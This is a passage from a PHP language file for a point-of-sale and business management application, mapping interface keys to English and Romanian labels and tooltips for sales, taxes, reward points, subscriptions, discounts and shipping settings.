should be present in tax name. For example headings can be: CGST, SGST, IGST & CESS. For tax names CGST@8% or CGST@10%; SGST@10% or SGST@8% etc', 'sales_payment_dues' => 'Sales Payment Due', 'purchase_payment_dues' => 'Purchase Payment Due', 'tooltip_sales_payment_dues' => "Pending payment for Sales. <br/><small class='text-muted'>Based on invoice pay term. <br/> Showing payments to be received in 7 days or less.</small>", 'edit_product_price_from_sale_screen' => 'Edit product price from sales screen', 'edit_product_discount_from_sale_screen' => 'Edit product discount from Sale screen', 'autosend_email' => 'Auto Send Email', 'autosend_sms' => 'Auto Send SMS', 'enable_selected_contacts' => 'Restrict Selected contacts', 'tooltip_enable_selected_contacts' => 'Restrict access to selected contacts in sells/purchase customer/supplier search box', 'selected_contacts' => 'Selecteaza contacte', 'view_role' => 'View role', 'delete_role' => 'Delete role', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'Disable Suspend Sale', 'suspend' => 'Suspend', 'suspend_note' => 'Suspend Note', 'suspend_sale' => 'Suspend Sale', 'view_suspended_sales' => 'View Suspended Sales', 'suspended_sales' => 'Suspended Sales', 'tooltip_suspend' => 'Suspend Sales (pause)', 'business_telephone' => 'Business contact number', 'accept_terms_and_conditions' => 'Accept Terms & Conditions', 'terms_conditions' => 'Terms & Conditions', 'select_base_unit' => 'Select base unit', 'times_base_unit' => 'times base unit', 'multi_unit_help' => 'Define this unit as the multiple of other units <br><strong>Ex: 1 dozen = 12 pieces</strong>', 'add_as_multiple_of_base_unit' => 'Add as multiple of other unit', 'product_description' => 'Product Description', 'click_here' => 'Click here', 'for_more_info' => 'for more info', 'username_help' => 'Leave blank to auto generate username', 'status_for_user' => 'Is active ?', 'tooltip_enable_user_active' => 'Check/Uncheck to make a user active/inactive.', 'user_inactive' => 'Sorry, account is inactive', 'calculator' => 'Calculator', 'fields_for_customer_details' => 'Fields for customer details', 'show_previous_bal_due' => 'Show total balance due (All sales)', 'previous_bal_due_help' => 'Check this field to show sum of balance dues for all sales of the customer if exists', 'all_sales' => 'All sales', 'current_sale' => 'Current sale', 'view_invoice_url' => 'Invoice URL', 'copy' => 'Copy', 'extra_tags' => 'Extra tags', 'date_time_format' => 'Date time format', 'date_time_format_help' => "Enter date and time format in <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP datetime format</a>. If blank business date time format will be applied", 'all' => 'All', 'detailed' => 'Detailed', 'grouped' => 'Grupat (După Dată)', 'disable_recurring_invoice' => 'Disable Recurring Invoice', 'is_recurring' => 'Is Recurring', 'recurring_invoice_help' => 'If subscribed this invoice will be automatically generated at regular intervals.<br>You can disable this feature in <code>Settings > Business Settings > Modules</code>', 'recurring_invoice' => 'Recurring Invoice', 'years' => 'Years', 'no_of_repetitions' => 'No. of Repetitions', 'recur_repetition_help' => 'If blank invoice will be generated infinite times', 'recurring_invoice_message' => 'New Invoice generated for Subscription no.:<i>:subscription_no</i>, Invoice no.: <i>:invoice_no</i>', 'notifcation_count_msg' => 'You have :count notifications', 'no_notifications_found' => 'No notifications found', 'edit_multi_unit_help_text' => 'Editing this value will change the purchase & sales stocks accordingly', 'sale_price_is_minimum_sale_price' => 'Sales price is minimum selling price', 'minimum_sale_price_help' => 'If this is enabled, on the POS or Sales screen default selling price will be the minimum selling price for the product. You cannot set price below the default selling price.', 'minimum_selling_price_error_msg' => 'Minimum Selling Price is :price', 'lot_numbers_are_used_in_sale' => 'Cannot be deleted, Some lots from this purchase are already sold', 'created_at' => 'Created At', 'years' => 'Years', 'download' => 'Download', 'previous_file_will_be_replaced' => 'Previously uploaded file will be replaced', 'access_accounts' => 'Access Accounts', 'payment_accounts' => 'Payment Accounts', 'total_shipping_charges' => 'Total Shipping Charges', 'recurring_invoice_error_message' => 'Unable to create invoice for Subscription no.: <i>:subscription_no</i>. Required stock not available for product <i>:product_name</i>', 'load_more' => 'Load More', 'cash_flow' => 'Cash Flow', 'subscribe' => 'Subscribe', 'subscription_interval' => 'Subscription Interval', 'enable_subscription' => 'Enable Subscription', 'subscription_no' => 'Subscription No.', 'start_subscription' => 'Start Subscription', 'stop_subscription' => 'Stop Subscription', 'subscriptions' => 'Subscriptions', 'generated_invoices' => 'Generated Invoices', 'last_generated' => 'Last generated', 'upcoming_invoice' => 'Upcoming invoice', 'total_sales_return' => 'Total Sales Return', 'subscription_invoice' => 'Subscription Invoice', 'subscribed_invoice' => 'Subscribed Invoice', 'view_document' => 'View Document', 'invoice_url_help' => 'Link to view the invoice without login.', 'unit_cannot_be_deleted' => 'Products exist with this unit; Cannot be deleted', 'expiry_date_in_business_date_format' => 'Stock expiry date in <b>Business date format</b>', 'deactivate_selected' => 'Dezactiveaza selectate', 'products_deactivated_success' => 'Products deactivated successfully', 'deactive_product_tooltip' => 'Deactivated products will not be available for purchase or sell', 'reactivate' => 'Reactiveaza', 'allow_overselling' => 'Allow Overselling', 'allow_overselling_help' => 'Check this field to allow a product to sell more than the available quantity. Oversold quantity will be adjusted automatically from future stock.', 'discounts' => 'Discounturi', 'all_your_discounts' => 'All your discounts', 'priority' => 'Prioritate', 'add_discount' => 'Adauga discount', 'starts_at' => 'Incepe in', 'ends_at' => 'Se termina in', 'applicable_in_cpg' => 'Apply in selling price groups', 'applicable_in_cg' => 'Apply in customer groups', 'is_active' => 'Is active', 'discount_priority_help' => 'Discount with higher priority will have higher weightage, however priority will not be considered for exact matches', 'inactive' => 'Inactive', 'applied_discount_text' => 'Discount: <i>:discount_name</i> applied (Ends at: <i>:ends_at</i>)', 'discount.access' => 'Add/Edit/Delete Discount', 'product_stock_details' => 'Product Stock Details', 'search' => 'Search', 'total_sold' => 'Total Sold', 'total_stock_available' => 'Total Stock Available', 'total_stock_transfered_to_the_location' => 'Total stock transfered to the location', 'total_stock_transfered_from_the_location' => 'Total stock transfered from the location', 'total_stock_calculated' => 'Total stock calculated', 'adjust_stock_mismatch' => 'Adjust Stock Mismatch', 'opening_balance_payments' => 'Opening Balance Payments', 'enable_service_staff_in_product_line' => 'Enable service staff in product line', 'inline_service_staff_tooltip' => 'If enabled different service staffs can be assigned for different products for an order/sale', 'line_orders' => 'Line Orders', 'total_tax' => 'Total Tax', 'total_discount' => 'Total Discount', 'net_price' => 'Net Price', 'select_same_for_all_rows' => 'Select same value for all products', 'edited' => 'Editat', 'by' => 'De', 'upload_documents' => 'Incarca documente', 'documents' => 'Documente', 'click_to_print' => 'Printeaza', 'deactivated_success' => 'Deactivated successfully', 'products_could_not_be_deleted' => "Some products couldn't be deleted because it has transactions related to it.", 'price' => 'Price', 'auto_backup_instruction' => 'Pentru a activa backup-ul automat și curățarea backup-ului trebuie să configurați o sarcină cron cu această comandă', 'gross_profit' => 'Gross Profit', 'single' => 'Simplu', 'variable' => 'Variabil', 'total_purchase_price' => 'Total purchase price', 'total_sell_price' => 'Total sell price', 'packing_slip' => 'Packing Slip', 'use_superadmin_email_settings' => 'Use system email configurations', 'profit_by_products' => 'Profit by products', 'profit_by_categories' => 'Profit by categories', 'profit_by_brands' => 'Profit by brands', 'profit_by_locations' => 'Profit by locations', 'profit_by_invoice' => 'Profit by invoice', 'profit_by_date' => 'Profit by date', 'uncategorized' => 'Uncategorized', 'add_purchase_return' => 'Add Purchase Return', 'edit_purchase_return' => 'Edit Purchase Return', 'purchase_return_updated_success' => 'Purchase return updated successfully', 'profit_by_customer' => 'Profit per client', 'profit_by_day' => 'Profit per zi', 'sunday' => 'Duminica', 'monday' => 'Luni', 'tuesday' => 'Marti', 'wednesday' => 'Miercuri', 'thursday' => 'Joi', 'friday' => 'Vineri', 'saturday' => 'Sambata', 'show_product_image' => 'Show product image', 'view_user' => 'View User', 'allow_selected_contacts' => 'Allow Selected Contacts', 'allow_selected_contacts_tooltip' => 'Only allow access to selected contacts in sells/purchase customer/supplier search box', 'allowed_contacts' => 'Allowed Contacts', 'view_purchase_price' => 'Vezi pret achizitie', 'view_purchase_price_tooltip' => 'Permisiunea de a vizualiza prețul de achiziție în detaliile produsului, transferul de stocuri și ajustarea stocurilor', 'created' => 'Creat', 'updated' => 'Actualizat', 'deleted' => 'Sters', 'day' => 'zi', 'is_service_staff_required' => 'Is service staff required', 'items_report' => 'Items Report', 'purchase_price' => 'Pret achizitie', 'sell_date' => 'Data vanzare', 'returned' => 'returned', 'dob' => 'Date of birth', 'married' => 'Married', 'unmarried' => 'Unmarried', 'marital_status' => 'Marital Status', 'blood_group' => 'Blood Group', 'divorced' => 'Divorced', 'contact_no' => 'Nr. contact', 'fb_link' => 'Facebook Link', 'twitter_link' => 'Twitter Link', 'social_media' => 'Social Media :number', 'permanent_address' => 'Permanent Address', 'current_address' => 'Current Address', 'guardian_name' => 'Guardian Name', 'custom_field' => 'Custom Field :number', 'bank_details' => 'Bank Details', 'account_holder_name' => "Account Holder's Name", 'account_number' => 'Account Number', 'bank_name' => 'Bank Name', 'bank_code' => 'Bank Identifier Code', 'bank_code_help' => 'A unique code to identify the bank in your country, for example: IFSC code', 'branch' => 'Branch', 'tax_payer_id' => 'Tax Payer ID', 'tax_payer_id_help' => 'Tax number id of the employee, for example, PAN card in India', 'more_info' => 'More Informations', 'id_proof_name' => 'ID proof name', 'id_proof_number' => 'ID proof number', 'view_own_sell_only' => 'View own sell only', 'reward_point_settings' => 'Reward Point Settings', 'enable_rp' => 'Enable Reward Point', 'rp_name' => 'Reward Point Display Name', 'amount_for_unit_rp' => 'Amount spend for unit point', 'min_order_total_for_rp' => 'Minimum order total to earn reward', 'max_rp_per_order' => 'Maximum points per order', 'earning_points_setting' => 'Earning Points Settings', 'redeem_points_setting' => 'Redeem Points Settings', 'redeem_amount_per_unit_rp' => 'Redeem amount per unit point', 'min_order_total_for_redeem' => 'Minimum order total to redeem points', 'min_redeem_point' => 'Minimum redeem point', 'max_redeem_point' => 'Maximum redeem point per order', 'rp_expiry_period' => 'Reward Point expiry period', 'redeemed_amount' => 'Redeemed Amount', 'max_points_used' => 'Maximum :points points can be used', 'reward_points' => 'Reward Points', 'max_reward_point_available' => 'Maximum :name available', 'min_reward_points_used' => 'Minimum :name can be used', 'redeemed' => 'Redeemed', 'available' => 'Available', 'earned' => 'Earned', 'total_reward_amount' => 'Total customer reward', 'ledger' => 'Ledger', 'type' => 'Type', 'show_payments' => 'Arata plati', 'variation_images' => 'Variation Images', 'file_deleted_successfully' => 'File deleted successfully', 'combo' => 'Grupat', 'not_for_selling' => 'Nu se vinde', 'tooltip_not_for_selling' => 'If checked, product will not be displayed in sales screen for selling purposes.', 'show_reward_point' => 'Show reward point', 'enable_booking' => 'Enable Bookings', 'bulk_edit' => 'Editeaza in grup', 'bulk_edit_products' => 'Editare produse in grup', 'search_product_to_edit' => 'Cauta produs', 'related_sub_units' => 'Related Sub Units', 'sub_units_tooltip' => 'Based on selected Unit it will show sub units for it. Select the sub-unit applicable. Leave blank if all sub-units are applicable for the product.', 'enable_sub_units' => 'Enable Sub Units', 'added_on' => 'Adaugat in', 'quantity_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between sold and available quantity. Product: :product', 'roles_and_permissions' => 'Roluri si permisiuni', 'admin_role_location_permission_help' => 'Admin can access all locations', 'edit_product_price_from_pos_screen' => 'Edit product price from POS screen', 'edit_product_discount_from_pos_screen' => 'Edit product discount from POS screen', 'download_template_file' => 'Download template file', 'types_of_service' => 'Types of service', 'add_type_of_service' => 'Add type of service', 'packing_charge_type' => 'Packing Charge Type', 'packing_charge' => 'Packing Charge', 'enable_custom_fields' => 'Enable custom fields', 'edit_type_of_service' => 'Edit type of service', 'types_of_service_help' => 'Type of service means services like dine-in, parcel, home delivery, third party delivery etc.', 'select_types_of_service' => 'Select types of service', 'service_custom_field_1' => 'Custom Field 1', 'service_custom_field_2' => 'Custom Field 2', 'service_custom_field_3' => 'Custom Field 3', 'service_custom_field_4' => 'Custom Field 4', 'default_selling_price_group' => 'Default Selling Price Group', 'location_price_group_help' => 'This price group will be used as the default price group in this location.', 'types_of_service_help_long' => 'Type of service means services like dine-in, parcel, home delivery, third party delivery etc. It can be enabled/disabled from <code>Settings > Modules</code> and can be created from <code>Settings > Types of service</code>. You can also define different price group & packing charge for service types.', 'default_accounts' => 'Default Account', 'product_location_help' => 'Locations where product will be available.', 'available_in_locations' => 'Available in locations', 'enable' => 'Enable', 'payment_options' => 'Optiuni plata', 'pay_reference_no' => 'Pay reference no.', 'search_settings' => 'Optiuni cautare', 'custom_labels' => 'Etichete custom', 'labels_for_custom_payments' => 'Labels for custom payments', 'add_to_location' => 'Adauga la locatie', 'remove_from_location' => 'Sterge din locatie', 'add_location_to_the_selected_products' => 'Add location to the selected products', 'remove_location_from_the_selected_products' => 'Remove location from the selected products', 'types_of_service_label' => 'Types of service label', 'show_types_of_service' => 'Show types of service', 'show_tos_custom_fields' => 'Show types of service custom fields', 'types_of_service_module_settings' => 'Types of service module settings', 'product_business_location_tooltip' => 'Product will be available only in this business locations', 'product_not_assigned_to_any_location' => 'Product not assigned to any locations', 'packed' => 'Impachetat', 'shipped' => 'Transportat', 'delivered' => 'Livrat', 'shipping_address' => 'Adresa livrare', 'shipping_status' => 'Status livrare', 'delivered_to' => 'Livrat la', 'edit_shipping' => 'Editeaza livrare', 'shipments' => 'Livrari', 'access_shipping' => 'Acceseaza livrare', 'uploaded_by' => 'Incarcat de', 'account_types' => 'Tip conturi', 'add_account_type' => 'Adauga tip cont', 'parent_account_type' => 'Parent account type', 'edit_account_type' => 'Edit account type', 'account_type' => 'Account Type', 'account_sub_type' => 'Account Sub Type', 'enable_updating_product_price_tooltip' => 'If enabled product purchase price and selling price will be updated after a purchase is added or updated', 'default_datatable_page_entries' => 'Default datatable page entries', 'third_party_order_id' => '3rd party Order ID', 'payment_option_help' => 'Enable or disable payment methods for the location', 'default_account_help' => 'Choose default account to be pre selected for the payment method. You can change it while adding payment', 'product_not_found_exception' => 'Product with SKU :sku not found on row :row', 'price_group_not_found_exception' => 'Price Group with name :pg not found on row :row', 'price_group_non_numeric_exception' => 'Non numeric price found on row :row', 'update_status' => 'Actualizeaza status', 'types_of_service_details' => 'Types of service details', 'total_stock_price' => 'Current Stock Value', 'test_email_configuration' => 'Send test email', 'email_tested_successfully' => 'Email configurations verified successfully', 'test_number' => 'Test Number', 'test_sms_configuration' => 'Send test SMS', 'test_number_is_required' => 'Test number is required', 'import_contact_type_ins' => 'Available Options: <strong><br> 1 = Customer, <br> 2 = Supplier <br> 3 = Both</strong>', 'enable_pos_transaction_date' => 'Enable transaction date on POS screen', 'amount_for_unit_rp_tooltip' => '<strong>Meaning how much the customer spent to get one reward points.</strong> <br><br> <strong>Example:</strong> If you set it as 10, then for every $10 spent by customer they will get one reward points. If the customer purchases for $1000 then they will get 100 reward points.', 'max_rp_per_order_tooltip' => 'Maximum reward points customers can earn in one invoice. Leave it empty if you don’t want any such restrictions.', 'min_order_total_for_rp_tooltip' => '<strong>The minimum amount the customer should spend to get reward points.</strong> <br><br> <strong>Example:</strong> If you set it as 100 then customer will get reward points only if there invoice total is greater or equal to 100. If invoice total is 99 then they won’t get any reward points. <br><br>You can set it as minimum 1.', 'redeem_amount_per_unit_rp_tooltip' => '<strong> It indicates the redeem amount per point.</strong> <br><br> <strong>For example:</strong>If 1 point is $1 then enter the value as 1. If 2 points is $1 then enter the value as 0.50', 'min_order_total_for_redeem_tooltip' => 'Minimum order total for which customers can redeem points. Leave it blank if you don’t need this restriction or you need to give something for free.', 'min_redeem_point_tooltip' => 'Minimum redeem points that can be used per invoice. Leave it blank if you don’t need this restriction.', 'max_redeem_point_tooltip' => 'Maximum points that can be used in one order. Leave it blank if you don’t need this restriction.', 'rp_expiry_period_tooltip' => '<strong>Expiry period for points earned by customer.</strong> <br><br>You can set it in months or year. Expired points will get deducted from customer account automatically after this period.', 'configure_product_search' => 'Configure product search', 'search_products_by' => 'Cauta produse dupa', 'credit_sales' => 'Credit Sales', 'total_payment' => 'Total Payment', 'deactivate_location' => 'Deactivate Location', 'activate_location' => 'Activate Location', 'business_location_activated_successfully' => 'Business location activated successfully', 'business_location_deactivated_successfully' => 'Business location deactivated successfully', 'show_credit_sale_button' => 'Show Credit Sale Button', 'show_credit_sale_btn_help' => 'If enabled credit sale button will be shown in place of Card button on pos screen', 'credit_sale' => 'Credit Sale', 'tooltip_credit_sale' => 'Checkout as credit sale', 'add_as_sub_txonomy' => 'Adăugați ca sub taxonomie', 'select_parent_taxonomy' => 'Selectați taxonomia părinte', 'warranty' => 'Garantie', 'warranties' => 'Garantii', 'all_warranties' => 'Toate', 'add_warranty' => 'Adauga', 'duration' => 'Durata', 'edit_warranty' => 'Editeaza', 'enable_product_warranty' => 'Activeaza garantie', 'warranty_ends_on' => 'Garantia se sfarseste in', 'restaurant_module_settings' => 'Restaurant module settings', 'warranty_module_settings' => 'Warranty module settings', 'show_warranty_name' => 'Show warranty name', 'show_warranty_exp_date' => 'Show warranty expiry date', 'show_warranty_description' => 'Show warranty description', 'gender' => 'Gen', 'male' => 'Masculin', 'female' => 'Femeie', 'others' => 'Alții', 'recent_transactions' => 'Tranzactii recente', 'add_row' => 'Adăugați rând', 'add_widget_here' => 'Adăugați un widget aici', 'move_row' => 'Mutați rândul', 'configure_dashboard' => 'Configurați tabloul de bord :name', 'change_return_label' => 'Change return label', 'change_return_help' => 'Change return is the amount to be returned to the customer if excess payment is done.', 'profile_photo' => 'Profile Photo', 'upload_image' => 'Upload Image', 'expense_tax' => 'Expense Tax', 'expense_tax_tooltip' => 'Total tax paid towards business expenses for the selected time period', 'tax_overall' => 'Overall (Input - Output - Expense)', 'overdue' => 'Overdue', 'partial-overdue' => 'Partial Overdue', 'due_date_label' => 'Due date label', 'show_due_date' => 'Show due date', 'contact_custom_field1' => 'CUI', 'contact_custom_field2' => 'Reg. Com.', 'contact_custom_field3' => 'Banca', 'contact_custom_field4' => 'IBAN', 'added_by' => 'Adaugat de', 'authorized_signatory' => 'Authorized Signatory', 'no_location_access_found' => 'No location access found', 'location_custom_field1' => 'Custom field 1', 'location_custom_field2' => 'Custom field 2', 'location_custom_field3' => 'Custom field 3', 'location_custom_field4' => 'Custom field 4', 'user_custom_field1' => 'Custom field 1', 'user_custom_field2' => 'Custom field 2', 'user_custom_field3' => 'Custom field 3', 'user_custom_field4' => 'Custom field 4', 'logo_not_work_in_sms' => 'Logo-ul companiei nu va funcționa în SMS', 'notification_email_tooltip' => 'Șirul de e-mailuri destinatar separat de virgule', 'heading' => 'Titlu', 'added_by' => 'Adăugat de', 'updated_at' => 'Actualizat la', 'documents_and_notes' => 'Documente și notă', 'add_note' => 'Adauga notita', 'edit_note' => 'Editați nota', 'is_private' => 'Este privat?', 'private' => 'Privat', 'documents' => 'Documente', 'note_will_be_visible_to_u_only' => 'Nota și documentul vor fi vizibile numai dvs.', 'activities' => 'Activități', 'no_limit' => 'Fara limita', 'contains_media' => 'Această notă conține media', 'private_note' => 'Aceasta este o notă privată', 'amount_rounding_method' => 'Metoda de rotunjire a sumei', 'round_to_nearest_whole_number' => 'Rotund la cel mai apropiat număr întreg', 'round_to_nearest_decimal' => 'Rotunzi la cea mai apropiată zecimală (multiplu de :multiple)', 'amount_rounding_method_help' => 'Exemplu: <br> <b> Rundă până la cel mai apropiat număr întreg: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Rotunzi la cea mai apropiată zecimală (multiplu de 0.05): < / b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Rotunji', 'round_off_label' => 'Etichetă rotundă', 'total_sell_round_off' => 'Vânzarea totală se încheie', 'user_info' => 'Informații despre utilizator', 'enable_weighing_scale' => 'Activați scala de cântărire', 'weighing_scale_setting' => 'Setarea codului de bare la cântărire', 'weighing_scale_setting_help' => 'Configurați codul de bare conform scării de cântărire.', 'weighing_barcode_prefix' => 'Prefix', 'weighing_product_sku_length' => 'Lungimea sku-ului produsului', 'weighing_qty_integer_part_length' => 'Cantitate lungime întreagă parte', 'weighing_qty_fractional_part_length' => 'Lungimea părții fracționale cantitative', 'weighing_scale' => 'Scara de cântărire', 'weighing_scale_barcode' => 'Cod de bare pentru cântărire', 'weighing_scale_barcode_help' => 'Scanați codul de bare pentru a cântări vânzarea și a trimite', 'prefix_did_not_match' => 'Prefixul nu se potrivește', 'sku_not_match' => 'Nu s-a găsit produs cu sku :sku', 'total_quantity_label' => 'Etichetă de cantitate totală', 'account_summary' => 'Rezumat cont', 'ledger_table_heading' => 'Se afișează toate facturile și plățile între :start_date și :end_date', 'beginning_balance' => 'Soldul de început', 'total_invoice' => 'Factură totală', 'balance_due' => 'Sold debitor', 'send_ledger' => 'Trimiteți contabilitatea', 'notifications' => 'Notificări', 'ledger_attacment_help' => 'Ledgerul va fi atașat în format PDF cu acest e-mail', 'upload_module' => 'Modul de încărcare', 'upload' => 'Încărcare', 'pls_upload_valid_zip_file' => 'Vă rugăm să încărcați un fișier zip valid.', 'import_sales' => 'Vânzări de import', 'preview_imported_sales' => 'Previzualizați vânzările importate', 'customer_phone_number' => 'Număr de telefon al clienților', 'customer_email' => 'E-mailul clienților', 'item_tax' => 'Impozitul pe articol', 'item_discount' => 'Reducere pentru articol', 'item_description' => 'Descrierea obiectului', 'order_total' => 'Total de comenzi', 'upload_and_review' => 'Încărcați și consultați', 'group_sale_line_by' => 'Grup de vânzare linie după', 'import_sale_product_not_found' => 'Produs cu nume :product_name sau sku :sku nu a fost găsit în rândul :row', 'import_sale_tax_not_found' => 'Taxă cu nume :tax_name care nu se găsește în rândul :row', 'email_or_phone_required' => 'Telefonul sau e-mailul clientului este necesar', 'product_name_or_sku_is_required' => 'Numele produsului sau SKU este necesar', 'quantity_is_required' => 'Cantitatea este necesară', 'unit_price_is_required' => 'Prețul unitar este necesar', 'sales_imported_successfully' => 'Vânzări importate cu succes', 'upload_data_in_excel_format' => 'Încărcați datele de vânzări în format excel', 'map_columns_with_respective_sales_fields' => 'Alegeți câmpurile de vânzări respective pentru fiecare coloană', 'choose_location_and_group_by' => 'Alegeți locația și coloana companiei după care vor fi grupate liniile de vânzare', 'date_format_instruction' => 'Formatul datei datei de vânzare trebuie să fie Y-m-d H:i:s (2020-07-15 17:45:32)', 'product_name_single_only' => 'Nume produs (numai pentru produse unice sau combo)', 'product_sku' => 'Codul produsului', 'product_unit' => 'Unitatea de produs', 'import_sale_unit_not_found' => 'Unitate cu nume :unit_name nu se găsește în rândul :row', 'types_of_servicet_not_found' => 'Tipuri de servicii cu nume :types_of_service_name care nu se găsesc în rând :row', 'email_or_phone_cannot_be_empty_in_row' => 'Fie telefonul clientului, fie e-mailul este necesar pe rând :row', 'product_cannot_be_empty_in_row' => 'Numele produsului sau SKU-ul produsului este necesar în rândul :row', 'quantity_cannot_be_empty_in_row' => 'Cantitatea produsului este necesară pe rând :row', 'unit_price_cannot_be_empty_in_row' => 'Prețul unitar este necesar pe rând :row', 'imports' => 'Importurile', 'invoices' => 'Facturi', 'import_batch' => 'Import lot', 'import_time' => 'Timpul de import', 'cannot_select_a_field_twice' => 'Nu puteți selecta un câmp de două ori', 'revert_import' => 'Reveniți la import', 'import_reverted_successfully' => 'Importul a revenit cu succes', 'importable_fields' => 'Câmpuri importabile', 'sort_order' => 'Ordinea de sortare', 'total_returned' => 'Total returnat', 'skip' => 'OCOLIRE', 'group_by_tooltip' => 'Coloana pentru gruparea liniilor de vânzare în aceeași factură', 'allowed_file' => 'Fișier permis', 'detailed_with_purchase' => 'Detaliat (cu achiziție)', 'supplier_name' => 'Numele furnizorului', 'purchase_ref_no' => 'Ref. De achiziție nr.', 'save_and_print' => 'Salvați și imprimați', 'update_and_print' => 'Actualizați și imprimați', 'all_your_discounts' => 'Toate reducerile', 'priority' => 'Prioritate', 'starts_at' => 'Incepe la', 'ends_at' => 'Se termină', 'used_for_browser_based_printing' => 'Folosit pentru imprimarea bazată pe browser', 'hsn_or_category_code' => 'HSN sau cod de categorie', 'discounts' => 'Reduceri', 'allow_overselling' => 'Permiteți vânzarea excesivă', 'profile_updated_successfully' => 'Profil actualizat cu succes', 'password_updated_successfully' => 'Parola a fost actualizată cu succes', 'u_have_entered_wrong_password' => 'Ați introdus o parolă greșită', 'business_dont_have_crm_subscription' => 'Afacerile nu au abonament Crm', 'source' => 'Sursă', 'life_stage' => 'Perioada din viata', 'assigned_to' => 'Atribuit', 'view_own_purchase' => 'Vizualizați numai achiziția proprie', 'view_own_expense' => 'Afișați numai cheltuielile proprii', 'allow_login' => 'Permiteți conectarea', 'login_not_allowed' => 'Autentificare nu este permisă', 'labels_for_contact_custom_fields' => 'Etichete pentru câmpuri personalizate de contact', 'labels_for_product_custom_fields' => 'Etichete pentru câmpurile personalizate ale produsului', 'labels_for_purchase_custom_fields' => 'Etichetă pentru câmpurile de cumpărare a depozitului', 'labels_for_sell_custom_fields' => 'Etichete pentru vânzarea câmpurilor personalizate', 'labels_for_location_custom_fields' => 'Etichete pentru câmpurile personalizate pentru locație', 'labels_for_types_of_service_custom_fields' => 'Etichete pentru tipuri de câmpuri de servicii personalizate', 'labels_for_user_custom_fields' => 'Etichete pentru câmpurile personalizate ale utilizatorului', 'total_transfer_shipping_charge' => 'Taxă de transport total de transfer', 'total_purchase_shipping_charge' => 'Taxa de livrare totală a cumpărăturilor', 'total_sell_shipping_charge' => 'Taxa de livrare totală de vânzare', 'opening_stock_location' => 'Deschiderea locației stocului', 'product_locations_ins' => 'Șirul separat de virgule de nume de locație de afaceri unde produsul va fi disponibil', 'product_locations' => 'Locații de produs', 'view_products' => 'Vizualizați produsele', 'pos_screen_featured_products' => 'Ecran POS Produse recomandate', 'featured_products_help' => 'Produsele selectate vor fi afișate în partea de sus a sugestiei produsului de pe ecran pentru acces rapid', 'purchase_report' => 'Raport de achiziție', 'sale_report' => 'Raport de vânzare', 'payment_date' => 'Data de plată', 'year_month' => 'An luna', 'lead' => 'Conduce', 'featured_products' => 'Produse recomandate', 'repeat_on' => 'Repetați', 'access_tables' => 'Tabele de acces', 'access_printers' => 'Imprimante de acces', 'access_types_of_service' => 'Tipuri de acces la serviciu', 'search_address' => 'Adresa de căutare', 'contact_locations' => 'Locații de contact', 'map' => 'Hartă', 'both_customer_and_supplier' => 'Atât clientul cât și furnizorul', 'service' => 'Serviciu', 'either_cust_email_or_phone_required' => 'Este necesar fie ID-ul de e-mail al clientului, fie numărul de telefon', 'either_product_name_or_sku_required' => 'Este necesar fie numele produsului (doar pentru o singură combinație, fie pentru combo) sau pentru codul produsului', 'show_invoice_scheme' => 'Afișați schema facturilor', 'select_invoice_scheme' => 'Selectați schema de facturare', 'recurring_expense_help' => 'Dacă este bifat, această cheltuială va fi generată automat la intervale regulate.', 'recur_interval' => 'Interval recurent', 'recur_expense_repetition_help' => 'Dacă cheltuielile necompletate vor fi generate la infinit', 'recurring_expense_message' => 'Cheltuieli recurente noi generate. Nr. De referință: <i>:ref_no </i>', 'recurring_expense' => 'Cheltuieli recurente', 'generated_recurring_expense' => 'Cheltuieli recurente generate', 'select_contacts' => 'Selectați contactele', 'middle_name' => 'Al doilea nume', 'address_line_1' => 'Adresa Rândul 1', 'address_line_2' => 'Adresă linia 2', 'dob' => 'Data de nastere', 'dob_ins' => 'Format Y-m-d', 'by_purchase_price' => 'Prin prețul de achiziție', 'by_sale_price' => 'Prețul de vânzare', 'potential_profit' => 'Profitul potențial', 'apply_all' => 'Aplica tot', 'hide_all_prices' => 'Ascundeți toate prețurile', 'select_invoice_layout' => 'Selectați aspectul facturii', 'max_sales_discount_percent' => 'Reducere maximă la vânzări la sută', 'max_sales_discount_percent_help' => 'Procentul de reducere maxim pe care un utilizator îl poate da în timpul vânzării. Lăsați-l necompletat fără restricții', 'max_discount_error_msg' => 'Puteți acorda reducere maximă :discount% pe vânzare', 'show_invoice_layout' => 'Afișați derularea aspectului facturii', 'recurred_from' => 'Recurge din', 'recur_details' => 'Detalii recurente', 'recurring' => 'Recurente', 'view_product_stock_value' => 'Vedeți valoarea stocului produsului', 'added' => 'Adăugat', 'disable_credit_sale_button' => 'Dezactivează butonul de vânzare a creditului', 'pay' => 'Plătește', 'use_advance_balance' => 'Folosește soldul în avans', 'advance' => 'În avans', 'advance_balance' => 'Sold în avans', 'advance_payment' => 'Plata în avans', 'required_advance_balance_not_available' => 'Soldul în avans necesar nu este disponibil', 'in_transit' => 'În tranzit', 'edit_stock_transfer' => 'Editați Transfer stoc', 'completed_status_help' => 'Transfer stoc nu va fi modificabil dacă starea este finalizată', 'no_data' => 'Fără date', 'sms_service' => 'Serviciu SMS', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'Viitoare', 'final' => 'Final', 'expense_for_contact' => 'Cheltuieli pentru contact', 'create' => 'Creați', 'waiting' => 'Aşteptare', 'sms_settings_header_key' => 'Antet: cheie numerică', 'sms_settings_header_val' => 'Antet: valoare număr', 'stock_adjustment_details' => 'Detalii despre ajustarea stocului', 'stock_transfer_details' => 'Detalii despre transferul de stoc', 'invoice_layout_for_pos' => 'Aspect factură pentru POS', 'invoice_layout_for_sale' => 'Aspect factură de vânzare', 'invoice_layout_for_sale_tooltip' => 'Aspect factură pentru vânzări directe', 'new_quotation' => 'Ofertă nouă', 'new_quotation_notification' => 'Notificare de ofertă nouă', 'view_quote_url' => 'Vizualizați adresa URL a cotației', 'close_cash_register' => 'Închideți casa de marcat', 'view_cash_register' => 'Vizualizați casa de marcat', 'for_tax_group_only' => 'Doar pentru grupul fiscal', 'for_tax_group_only_help' => 'Dacă este bifat, această taxă nu va fi afișată individual în meniurile derulante, doar poate fi adăugată în grupul de taxe', 'exempt' => 'Scuti', 'tax_exempt_help' => 'Cota de impozitare zero la sută va fi considerată scutită de impozit', 